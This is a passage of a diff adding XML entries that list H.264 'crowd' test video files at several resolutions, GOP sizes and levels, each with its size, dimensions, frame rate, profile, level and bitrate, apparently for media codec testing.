+  <entry key="h264/yuv420/8bit/hp/gop/crowd_1920x1080p50/crowd_1920x1080p50f2_gop2_hp.mp4">
+    <value>mime=video/avc,size=186949,width=1920,height=1080,frame-rate=50,profile=8,level=8192,bitrate=37221800,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/gop/crowd_1920x1080p50/crowd_1920x1080p50f2_gop4_hp.mp4">
+    <value>mime=video/avc,size=186951,width=1920,height=1080,frame-rate=50,profile=8,level=8192,bitrate=37222000,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/gop/crowd_1920x1080p50/crowd_1920x1080p50f2_gop8_hp.mp4">
+    <value>mime=video/avc,size=186951,width=1920,height=1080,frame-rate=50,profile=8,level=8192,bitrate=37222000,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/gop/crowd_1920x1080p50/crowd_1920x1080p50f3_gop2_hp.mp4">
+    <value>mime=video/avc,size=217822,width=1920,height=1080,frame-rate=50,profile=8,level=8192,bitrate=28920264,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/gop/crowd_1920x1080p50/crowd_1920x1080p50f3_gop4_hp.mp4">
+    <value>mime=video/avc,size=217825,width=1920,height=1080,frame-rate=50,profile=8,level=8192,bitrate=28920528,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/gop/crowd_1920x1080p50/crowd_1920x1080p50f3_gop8_hp.mp4">
+    <value>mime=video/avc,size=217825,width=1920,height=1080,frame-rate=50,profile=8,level=8192,bitrate=28920528,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/gop/crowd_1920x1080p50/crowd_1920x1080p50f4_gop2_hp.mp4">
+    <value>mime=video/avc,size=236867,width=1920,height=1080,frame-rate=50,profile=8,level=8192,bitrate=23593496,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/gop/crowd_1920x1080p50/crowd_1920x1080p50f4_gop4_hp.mp4">
+    <value>mime=video/avc,size=244555,width=1920,height=1080,frame-rate=50,profile=8,level=8192,bitrate=24363000,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/gop/crowd_1920x1080p50/crowd_1920x1080p50f4_gop8_hp.mp4">
+    <value>mime=video/avc,size=244555,width=1920,height=1080,frame-rate=50,profile=8,level=8192,bitrate=24363000,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/gop/crowd_1920x1080p50/crowd_1920x1080p50f5_gop4_hp.mp4">
+    <value>mime=video/avc,size=271017,width=1920,height=1080,frame-rate=50,profile=8,level=8192,bitrate=21605760,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/gop/crowd_1920x1080p50/crowd_1920x1080p50f5_gop8_hp.mp4">
+    <value>mime=video/avc,size=271017,width=1920,height=1080,frame-rate=50,profile=8,level=8192,bitrate=21605760,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/gop/crowd_1920x1080p50/crowd_1920x1080p50f6_gop4_hp.mp4">
+    <value>mime=video/avc,size=286268,width=1920,height=1080,frame-rate=50,profile=8,level=8192,bitrate=19020728,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/gop/crowd_1920x1080p50/crowd_1920x1080p50f6_gop8_hp.mp4">
+    <value>mime=video/avc,size=296602,width=1920,height=1080,frame-rate=50,profile=8,level=8192,bitrate=19710200,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/gop/crowd_1920x1080p50/crowd_1920x1080p50f7_gop4_hp.mp4">
+    <value>mime=video/avc,size=301957,width=1920,height=1080,frame-rate=50,profile=8,level=8192,bitrate=17199312,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/gop/crowd_1920x1080p50/crowd_1920x1080p50f7_gop8_hp.mp4">
+    <value>mime=video/avc,size=322153,width=1920,height=1080,frame-rate=50,profile=8,level=8192,bitrate=18354280,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/gop/crowd_1920x1080p50/crowd_1920x1080p50f8_gop4_hp.mp4">
+    <value>mime=video/avc,size=318083,width=1920,height=1080,frame-rate=50,profile=8,level=8192,bitrate=15855496,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/gop/crowd_1920x1080p50/crowd_1920x1080p50f8_gop8_hp.mp4">
+    <value>mime=video/avc,size=348812,width=1920,height=1080,frame-rate=50,profile=8,level=8192,bitrate=17392744,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/gop/crowd_1920x1080p50/crowd_1920x1080p50f9_gop8_hp.mp4">
+    <value>mime=video/avc,size=374719,width=1920,height=1080,frame-rate=50,profile=8,level=8192,bitrate=16611464,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/gop/crowd_3840x2160p50/crowd_3840x2160p50f10_gop8_hp.mp4">
+    <value>mime=video/avc,size=1117187,width=3840,height=2160,frame-rate=50,profile=8,level=65536,bitrate=44648600,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/gop/crowd_3840x2160p50/crowd_3840x2160p50f11_gop8_hp.mp4">
+    <value>mime=video/avc,size=1162683,width=3840,height=2160,frame-rate=50,profile=8,level=65536,bitrate=42243600,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/gop/crowd_3840x2160p50/crowd_3840x2160p50f12_gop8_hp.mp4">
+    <value>mime=video/avc,size=1204897,width=3840,height=2160,frame-rate=50,profile=8,level=65536,bitrate=40130296,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/gop/crowd_3840x2160p50/crowd_3840x2160p50f13_gop8_hp.mp4">
+    <value>mime=video/avc,size=1253459,width=3840,height=2160,frame-rate=50,profile=8,level=65536,bitrate=38536952,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/gop/crowd_3840x2160p50/crowd_3840x2160p50f14_gop8_hp.mp4">
+    <value>mime=video/avc,size=1297092,width=3840,height=2160,frame-rate=50,profile=8,level=65536,bitrate=37030856,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/gop/crowd_3840x2160p50/crowd_3840x2160p50f15_gop8_hp.mp4">
+    <value>mime=video/avc,size=1341874,width=3840,height=2160,frame-rate=50,profile=8,level=65536,bitrate=35756208,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/gop/crowd_3840x2160p50/crowd_3840x2160p50f16_gop8_hp.mp4">
+    <value>mime=video/avc,size=1386546,width=3840,height=2160,frame-rate=50,profile=8,level=65536,bitrate=34638144,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/gop/crowd_3840x2160p50/crowd_3840x2160p50f1_gop1_hp.mp4">
+    <value>mime=video/avc,size=422800,width=3840,height=2160,frame-rate=1,profile=8,level=65536,bitrate=3375912,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/gop/crowd_3840x2160p50/crowd_3840x2160p50f1_gop2_hp.mp4">
+    <value>mime=video/avc,size=422863,width=3840,height=2160,frame-rate=1,profile=8,level=65536,bitrate=3376408,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/gop/crowd_3840x2160p50/crowd_3840x2160p50f1_gop4_hp.mp4">
+    <value>mime=video/avc,size=422863,width=3840,height=2160,frame-rate=1,profile=8,level=65536,bitrate=3376408,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/gop/crowd_3840x2160p50/crowd_3840x2160p50f1_gop8_hp.mp4">
+    <value>mime=video/avc,size=422863,width=3840,height=2160,frame-rate=1,profile=8,level=65536,bitrate=3376408,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/gop/crowd_3840x2160p50/crowd_3840x2160p50f2_gop1_hp.mp4">
+    <value>mime=video/avc,size=519274,width=3840,height=2160,frame-rate=50,profile=8,level=65536,bitrate=103687000,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/gop/crowd_3840x2160p50/crowd_3840x2160p50f2_gop2_hp.mp4">
+    <value>mime=video/avc,size=519338,width=3840,height=2160,frame-rate=50,profile=8,level=65536,bitrate=103699600,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/gop/crowd_3840x2160p50/crowd_3840x2160p50f2_gop4_hp.mp4">
+    <value>mime=video/avc,size=519338,width=3840,height=2160,frame-rate=50,profile=8,level=65536,bitrate=103699600,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/gop/crowd_3840x2160p50/crowd_3840x2160p50f2_gop8_hp.mp4">
+    <value>mime=video/avc,size=519338,width=3840,height=2160,frame-rate=50,profile=8,level=65536,bitrate=103699600,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/gop/crowd_3840x2160p50/crowd_3840x2160p50f3_gop2_hp.mp4">
+    <value>mime=video/avc,size=605734,width=3840,height=2160,frame-rate=50,profile=8,level=65536,bitrate=80641864,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/gop/crowd_3840x2160p50/crowd_3840x2160p50f3_gop4_hp.mp4">
+    <value>mime=video/avc,size=605734,width=3840,height=2160,frame-rate=50,profile=8,level=65536,bitrate=80641864,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/gop/crowd_3840x2160p50/crowd_3840x2160p50f3_gop8_hp.mp4">
+    <value>mime=video/avc,size=605734,width=3840,height=2160,frame-rate=50,profile=8,level=65536,bitrate=80641864,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/gop/crowd_3840x2160p50/crowd_3840x2160p50f4_gop2_hp.mp4">
+    <value>mime=video/avc,size=660414,width=3840,height=2160,frame-rate=50,profile=8,level=65536,bitrate=65948200,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/gop/crowd_3840x2160p50/crowd_3840x2160p50f4_gop4_hp.mp4">
+    <value>mime=video/avc,size=684739,width=3840,height=2160,frame-rate=50,profile=8,level=65536,bitrate=68381496,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/gop/crowd_3840x2160p50/crowd_3840x2160p50f4_gop8_hp.mp4">
+    <value>mime=video/avc,size=684739,width=3840,height=2160,frame-rate=50,profile=8,level=65536,bitrate=68381496,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/gop/crowd_3840x2160p50/crowd_3840x2160p50f5_gop4_hp.mp4">
+    <value>mime=video/avc,size=767992,width=3840,height=2160,frame-rate=50,profile=8,level=65536,bitrate=61363840,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/gop/crowd_3840x2160p50/crowd_3840x2160p50f5_gop8_hp.mp4">
+    <value>mime=video/avc,size=767992,width=3840,height=2160,frame-rate=50,profile=8,level=65536,bitrate=61363840,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/gop/crowd_3840x2160p50/crowd_3840x2160p50f6_gop4_hp.mp4">
+    <value>mime=video/avc,size=807788,width=3840,height=2160,frame-rate=50,profile=8,level=65536,bitrate=53788800,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/gop/crowd_3840x2160p50/crowd_3840x2160p50f6_gop8_hp.mp4">
+    <value>mime=video/avc,size=843119,width=3840,height=2160,frame-rate=50,profile=8,level=65536,bitrate=56144728,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/gop/crowd_3840x2160p50/crowd_3840x2160p50f7_gop4_hp.mp4">
+    <value>mime=video/avc,size=855748,width=3840,height=2160,frame-rate=50,profile=8,level=65536,bitrate=48844568,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/gop/crowd_3840x2160p50/crowd_3840x2160p50f7_gop8_hp.mp4">
+    <value>mime=video/avc,size=920270,width=3840,height=2160,frame-rate=50,profile=8,level=65536,bitrate=52532456,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/gop/crowd_3840x2160p50/crowd_3840x2160p50f8_gop4_hp.mp4">
+    <value>mime=video/avc,size=900559,width=3840,height=2160,frame-rate=50,profile=8,level=65536,bitrate=44979344,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/gop/crowd_3840x2160p50/crowd_3840x2160p50f8_gop8_hp.mp4">
+    <value>mime=video/avc,size=1001612,width=3840,height=2160,frame-rate=50,profile=8,level=65536,bitrate=50032800,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/gop/crowd_3840x2160p50/crowd_3840x2160p50f9_gop8_hp.mp4">
+    <value>mime=video/avc,size=1080673,width=3840,height=2160,frame-rate=50,profile=8,level=65536,bitrate=47987240,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/gop/crowd_640x360p50/crowd_640x360p50f10_gop8_hp.mp4">
+    <value>mime=video/avc,size=15671,width=640,height=360,frame-rate=50,profile=8,level=512,bitrate=587960,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/gop/crowd_640x360p50/crowd_640x360p50f11_gop8_hp.mp4">
+    <value>mime=video/avc,size=16479,width=640,height=360,frame-rate=50,profile=8,level=512,bitrate=563448,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/gop/crowd_640x360p50/crowd_640x360p50f12_gop8_hp.mp4">
+    <value>mime=video/avc,size=17261,width=640,height=360,frame-rate=50,profile=8,level=512,bitrate=542432,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/gop/crowd_640x360p50/crowd_640x360p50f13_gop8_hp.mp4">
+    <value>mime=video/avc,size=18043,width=640,height=360,frame-rate=50,profile=8,level=512,bitrate=524152,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/gop/crowd_640x360p50/crowd_640x360p50f14_gop8_hp.mp4">
+    <value>mime=video/avc,size=18860,width=640,height=360,frame-rate=50,profile=8,level=512,bitrate=509936,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/gop/crowd_640x360p50/crowd_640x360p50f15_gop8_hp.mp4">
+    <value>mime=video/avc,size=19621,width=640,height=360,frame-rate=50,profile=8,level=512,bitrate=496128,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/gop/crowd_640x360p50/crowd_640x360p50f16_gop8_hp.mp4">
+    <value>mime=video/avc,size=20127,width=640,height=360,frame-rate=50,profile=8,level=512,bitrate=477672,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/gop/crowd_640x360p50/crowd_640x360p50f1_gop1_hp.mp4">
+    <value>mime=video/avc,size=7113,width=640,height=360,frame-rate=1,profile=8,level=512,bitrate=50408,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/gop/crowd_640x360p50/crowd_640x360p50f1_gop2_hp.mp4">
+    <value>mime=video/avc,size=7174,width=640,height=360,frame-rate=1,profile=8,level=512,bitrate=50896,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/gop/crowd_640x360p50/crowd_640x360p50f1_gop4_hp.mp4">
+    <value>mime=video/avc,size=7175,width=640,height=360,frame-rate=1,profile=8,level=512,bitrate=50904,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/gop/crowd_640x360p50/crowd_640x360p50f1_gop8_hp.mp4">
+    <value>mime=video/avc,size=7175,width=640,height=360,frame-rate=1,profile=8,level=512,bitrate=50904,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/gop/crowd_640x360p50/crowd_640x360p50f2_gop1_hp.mp4">
+    <value>mime=video/avc,size=8672,width=640,height=360,frame-rate=50,profile=8,level=512,bitrate=1566400,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/gop/crowd_640x360p50/crowd_640x360p50f2_gop2_hp.mp4">
+    <value>mime=video/avc,size=8733,width=640,height=360,frame-rate=50,profile=8,level=512,bitrate=1578600,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/gop/crowd_640x360p50/crowd_640x360p50f2_gop4_hp.mp4">
+    <value>mime=video/avc,size=8734,width=640,height=360,frame-rate=50,profile=8,level=512,bitrate=1578800,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/gop/crowd_640x360p50/crowd_640x360p50f2_gop8_hp.mp4">
+    <value>mime=video/avc,size=8735,width=640,height=360,frame-rate=50,profile=8,level=512,bitrate=1579000,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/gop/crowd_640x360p50/crowd_640x360p50f3_gop2_hp.mp4">
+    <value>mime=video/avc,size=9916,width=640,height=360,frame-rate=50,profile=8,level=512,bitrate=1199464,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/gop/crowd_640x360p50/crowd_640x360p50f3_gop4_hp.mp4">
+    <value>mime=video/avc,size=9917,width=640,height=360,frame-rate=50,profile=8,level=512,bitrate=1199600,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/gop/crowd_640x360p50/crowd_640x360p50f3_gop8_hp.mp4">
+    <value>mime=video/avc,size=9918,width=640,height=360,frame-rate=50,profile=8,level=512,bitrate=1199728,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/gop/crowd_640x360p50/crowd_640x360p50f4_gop2_hp.mp4">
+    <value>mime=video/avc,size=10906,width=640,height=360,frame-rate=50,profile=8,level=512,bitrate=997400,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/gop/crowd_640x360p50/crowd_640x360p50f4_gop4_hp.mp4">
+    <value>mime=video/avc,size=10679,width=640,height=360,frame-rate=50,profile=8,level=512,bitrate=975496,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/gop/crowd_640x360p50/crowd_640x360p50f4_gop8_hp.mp4">
+    <value>mime=video/avc,size=10681,width=640,height=360,frame-rate=50,profile=8,level=512,bitrate=975696,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/gop/crowd_640x360p50/crowd_640x360p50f5_gop4_hp.mp4">
+    <value>mime=video/avc,size=11780,width=640,height=360,frame-rate=50,profile=8,level=512,bitrate=866880,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/gop/crowd_640x360p50/crowd_640x360p50f5_gop8_hp.mp4">
+    <value>mime=video/avc,size=11783,width=640,height=360,frame-rate=50,profile=8,level=512,bitrate=867120,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/gop/crowd_640x360p50/crowd_640x360p50f6_gop4_hp.mp4">
+    <value>mime=video/avc,size=12772,width=640,height=360,frame-rate=50,profile=8,level=512,bitrate=787728,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/gop/crowd_640x360p50/crowd_640x360p50f6_gop8_hp.mp4">
+    <value>mime=video/avc,size=12529,width=640,height=360,frame-rate=50,profile=8,level=512,bitrate=772064,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/gop/crowd_640x360p50/crowd_640x360p50f7_gop4_hp.mp4">
+    <value>mime=video/avc,size=13479,width=640,height=360,frame-rate=50,profile=8,level=512,bitrate=714912,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/gop/crowd_640x360p50/crowd_640x360p50f7_gop8_hp.mp4">
+    <value>mime=video/avc,size=13458,width=640,height=360,frame-rate=50,profile=8,level=512,bitrate=714624,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/gop/crowd_640x360p50/crowd_640x360p50f8_gop4_hp.mp4">
+    <value>mime=video/avc,size=14209,width=640,height=360,frame-rate=50,profile=8,level=512,bitrate=661848,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/gop/crowd_640x360p50/crowd_640x360p50f8_gop8_hp.mp4">
+    <value>mime=video/avc,size=14057,width=640,height=360,frame-rate=50,profile=8,level=512,bitrate=655048,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/gop/crowd_640x360p50/crowd_640x360p50f9_gop8_hp.mp4">
+    <value>mime=video/avc,size=15003,width=640,height=360,frame-rate=50,profile=8,level=512,bitrate=624128,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/gop/crowd_854x480p50/crowd_854x480p50f10_gop8_hp.mp4">
+    <value>mime=video/avc,size=57414,width=854,height=480,frame-rate=50,profile=8,level=512,bitrate=2257680,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/gop/crowd_854x480p50/crowd_854x480p50f11_gop8_hp.mp4">
+    <value>mime=video/avc,size=59871,width=854,height=480,frame-rate=50,profile=8,level=512,bitrate=2141344,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/gop/crowd_854x480p50/crowd_854x480p50f12_gop8_hp.mp4">
+    <value>mime=video/avc,size=62798,width=854,height=480,frame-rate=50,profile=8,level=512,bitrate=2060328,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/gop/crowd_854x480p50/crowd_854x480p50f13_gop8_hp.mp4">
+    <value>mime=video/avc,size=65531,width=854,height=480,frame-rate=50,profile=8,level=512,bitrate=1985320,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/gop/crowd_854x480p50/crowd_854x480p50f14_gop8_hp.mp4">
+    <value>mime=video/avc,size=67807,width=854,height=480,frame-rate=50,profile=8,level=512,bitrate=1908424,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/gop/crowd_854x480p50/crowd_854x480p50f15_gop8_hp.mp4">
+    <value>mime=video/avc,size=70273,width=854,height=480,frame-rate=50,profile=8,level=512,bitrate=1846848,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/gop/crowd_854x480p50/crowd_854x480p50f16_gop8_hp.mp4">
+    <value>mime=video/avc,size=73063,width=854,height=480,frame-rate=50,profile=8,level=512,bitrate=1801072,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/gop/crowd_854x480p50/crowd_854x480p50f1_gop1_hp.mp4">
+    <value>mime=video/avc,size=25307,width=854,height=480,frame-rate=1,profile=8,level=512,bitrate=195960,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/gop/crowd_854x480p50/crowd_854x480p50f1_gop2_hp.mp4">
+    <value>mime=video/avc,size=25368,width=854,height=480,frame-rate=1,profile=8,level=512,bitrate=196448,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/gop/crowd_854x480p50/crowd_854x480p50f1_gop4_hp.mp4">
+    <value>mime=video/avc,size=25368,width=854,height=480,frame-rate=1,profile=8,level=512,bitrate=196448,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/gop/crowd_854x480p50/crowd_854x480p50f1_gop8_hp.mp4">
+    <value>mime=video/avc,size=25369,width=854,height=480,frame-rate=1,profile=8,level=512,bitrate=196456,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/gop/crowd_854x480p50/crowd_854x480p50f2_gop1_hp.mp4">
+    <value>mime=video/avc,size=30793,width=854,height=480,frame-rate=50,profile=8,level=512,bitrate=5990600,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/gop/crowd_854x480p50/crowd_854x480p50f2_gop2_hp.mp4">
+    <value>mime=video/avc,size=30855,width=854,height=480,frame-rate=50,profile=8,level=512,bitrate=6003000,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/gop/crowd_854x480p50/crowd_854x480p50f2_gop4_hp.mp4">
+    <value>mime=video/avc,size=30855,width=854,height=480,frame-rate=50,profile=8,level=512,bitrate=6003000,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/gop/crowd_854x480p50/crowd_854x480p50f2_gop8_hp.mp4">
+    <value>mime=video/avc,size=30856,width=854,height=480,frame-rate=50,profile=8,level=512,bitrate=6003200,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/gop/crowd_854x480p50/crowd_854x480p50f3_gop2_hp.mp4">
+    <value>mime=video/avc,size=35433,width=854,height=480,frame-rate=50,profile=8,level=512,bitrate=4601728,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/gop/crowd_854x480p50/crowd_854x480p50f3_gop4_hp.mp4">
+    <value>mime=video/avc,size=35433,width=854,height=480,frame-rate=50,profile=8,level=512,bitrate=4601728,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/gop/crowd_854x480p50/crowd_854x480p50f3_gop8_hp.mp4">
+    <value>mime=video/avc,size=35434,width=854,height=480,frame-rate=50,profile=8,level=512,bitrate=4601864,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/gop/crowd_854x480p50/crowd_854x480p50f4_gop2_hp.mp4">
+    <value>mime=video/avc,size=38356,width=854,height=480,frame-rate=50,profile=8,level=512,bitrate=3742400,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/gop/crowd_854x480p50/crowd_854x480p50f4_gop4_hp.mp4">
+    <value>mime=video/avc,size=38844,width=854,height=480,frame-rate=50,profile=8,level=512,bitrate=3792000,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/gop/crowd_854x480p50/crowd_854x480p50f4_gop8_hp.mp4">
+    <value>mime=video/avc,size=38845,width=854,height=480,frame-rate=50,profile=8,level=512,bitrate=3792096,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/gop/crowd_854x480p50/crowd_854x480p50f5_gop4_hp.mp4">
+    <value>mime=video/avc,size=42494,width=854,height=480,frame-rate=50,profile=8,level=512,bitrate=3324000,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/gop/crowd_854x480p50/crowd_854x480p50f5_gop8_hp.mp4">
+    <value>mime=video/avc,size=42495,width=854,height=480,frame-rate=50,profile=8,level=512,bitrate=3324080,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/gop/crowd_854x480p50/crowd_854x480p50f6_gop4_hp.mp4">
+    <value>mime=video/avc,size=44848,width=854,height=480,frame-rate=50,profile=8,level=512,bitrate=2926128,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/gop/crowd_854x480p50/crowd_854x480p50f6_gop8_hp.mp4">
+    <value>mime=video/avc,size=45409,width=854,height=480,frame-rate=50,profile=8,level=512,bitrate=2964064,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/gop/crowd_854x480p50/crowd_854x480p50f7_gop4_hp.mp4">
+    <value>mime=video/avc,size=47798,width=854,height=480,frame-rate=50,profile=8,level=512,bitrate=2675992,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/gop/crowd_854x480p50/crowd_854x480p50f7_gop8_hp.mp4">
+    <value>mime=video/avc,size=48839,width=854,height=480,frame-rate=50,profile=8,level=512,bitrate=2736392,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/gop/crowd_854x480p50/crowd_854x480p50f8_gop4_hp.mp4">
+    <value>mime=video/avc,size=50153,width=854,height=480,frame-rate=50,profile=8,level=512,bitrate=2459048,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/gop/crowd_854x480p50/crowd_854x480p50f8_gop8_hp.mp4">
+    <value>mime=video/avc,size=51703,width=854,height=480,frame-rate=50,profile=8,level=512,bitrate=2537344,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/gop/crowd_854x480p50/crowd_854x480p50f9_gop8_hp.mp4">
+    <value>mime=video/avc,size=55044,width=854,height=480,frame-rate=50,profile=8,level=512,bitrate=2403728,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/levels/crowd_1280x720p50f32_3600kbps_level_3.2_hp.mp4">
+    <value>mime=video/avc,size=324335,width=1280,height=720,frame-rate=50,profile=8,level=1024,bitrate=4038184,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/levels/crowd_1280x720p50f32_3600kbps_level_4_hp.mp4">
+    <value>mime=video/avc,size=324330,width=1280,height=720,frame-rate=50,profile=8,level=2048,bitrate=4038184,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/levels/crowd_128x96p50f32_200kbps_level_2_hp.mp4">
+    <value>mime=video/avc,size=12431,width=128,height=96,frame-rate=50,profile=8,level=32,bitrate=140456,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/levels/crowd_16x16p50f32_200kbps_level_1_hp.mp4">
+    <value>mime=video/avc,size=5432,width=16,height=16,frame-rate=50,profile=8,level=1,bitrate=54680,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/levels/crowd_176x144p50f32_200kbps_level_2_hp.mp4">
+    <value>mime=video/avc,size=12498,width=176,height=144,frame-rate=50,profile=8,level=32,bitrate=140800,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/hp/levels/crowd_1920x1080p50f32_8200kbps_level_4.2_hp.mp4">
